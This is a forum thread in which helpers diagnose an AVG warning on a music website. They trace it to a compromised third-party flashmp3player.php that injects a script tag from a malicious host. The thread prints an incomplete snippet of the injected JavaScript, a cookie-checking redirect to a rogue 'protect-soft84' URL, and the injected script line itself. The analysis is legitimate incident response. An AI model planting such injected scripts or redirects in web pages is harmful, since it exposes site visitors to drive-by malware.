expliot script injection 1573

Hi, I've been reading here about this issue - I've got it from AVG9.0 with a customer's website, it appears as soon as I try to access any of his music pages - ballads for example.
It appears on all browsers, but doesn't happen if AVG not installed on a PC (I tried it).
I read that it could be due to "injected" javascript code, but this isn't the case for me.
The website in my case is http://www.heavenly-audio.com/audio/ballads/ballads.html.

Any ideas much appreciated.

Well your website has two scripts which does not belong to the original website:


I am aware of the google-analytics however what is maxtracker.net (php) script is here for?

Try to get the Maxtracker script removed from the website and then try with AVG

Hi Sudeep,

Thanks for your prompt reply.  Thanks for pointing that out.... except that I can't find the script you mention?

Where did you find this and on which page - the one I mentioned?

Hi again, I think I've just found the offending code, not where I thought it was...

Will let you know the outcome ...

Yes indeed, it is on the page you mentioned is giving you trouble.

How I found it?

I used Firefox with addon No Script.

It appears to come from "swobject.js", but luckily I've got an older backup of the webpage and this is identical.  Could it still be the problem, and not the HTML?
I did notice that the "Instrumental" page hasn't been affected yet, I guess it soon will... :/

A plain HTML would not be a issue since script injection could only be done by scripts (js, php etc) but it could not be done with HTML only (AFAIK)

you can just delete the last two lines of swfobject.js (i.e. the seconds_passed function, the iframe write and the call to setTimeout. see if that stops the warning.

Thanks for your suggestion jahboite but that didn't work I'm afraid, still get the same problem, see attached JPG for further clarity.  Still not sure if it's the website or AVG to be honest....?

Great job posting that screenshot mike, most helpful.

So I think you need to find an alternative way to play mp3 files because that flashmp3player.php script is definitely doing something dodgy - I suspect it is redirecting your visitors (in the background) to malware laden websites.

Like SSharma, I also use firefox and NoScript and this allows me to request a page, confident that any client-side code delivered in a response will not be executed unless I specifically allow it.

So I requested the following:

http : // www . heavenly-audio . com /audio/ballads/flashmp3player.php?file_dir=/index.html

Instead of supplying the file_dir parameter as an actual playlist, I've supplied just a valid file path ( /index.html).  The response looks like this

<?xml version="1.0" encoding="utf-8"?>
</playlist><script src="http : // onlineisdudescars . com/co . php"></script>

I've added the spaces in the url to prevent hyperlinking in this thread.  So what does the script at co.php look like? See The attached snippet of code shows what the script at co.php looks like. It's purpose is set a cookie and then redirect to protect-soft84. This is the start of a chain of several redirects involving heavily obfuscated javascripts (a technique used to make difficult the analysis of the script) and it's a fair bet that the intention is to attempt to infect the visitors' computers with malware (although I didn't go as far as to see what the payload was - I'm confident it's not nice).

So the first course of action is to make a backup of flashmp3player.php and then remove it from the server. This should stop the AVG alerts and prevent your site being blacklisted for delivering malware (it may already have been blacklisted however).

Then you will want to find out whether the script was always evil or whether someone has compromised your webserver and modified the script to be evil.

Always remember that third party scripts that you use on your website need to be carefully audited because you are giving permission for that third party to serve content to your visitors via your site.

Hope that helps a bit, please let us know how you get on.

function osc(cone,val,ex){
	var exdate=new Date();
	var da = exdate.getDate()+ex;
	var oo = exdate.toGMTString();



function ogc(cone){

	if (document.cookie.length>0){


		if (cose!=-1){
			if (coee==-1) 
			return unescape(document.cookie.substring(cose,coee));

	return "";

var n=ogc("nopezorenope");

if (n==""){
	var pole="http : // www4 . protect-soft84 . co . cc /?p=p52dcWplbnCHnc3KbmNToKV1iqHWnG3LXsSYnGmZZmyaxA%3D%3D";

Thanks to everyone who assisted on this one, I've elected to take the "revamp the flash music player" option, a pain to do, but at least should stop the problems.

I'll also be changing the FTP password as well!

Thanks again.
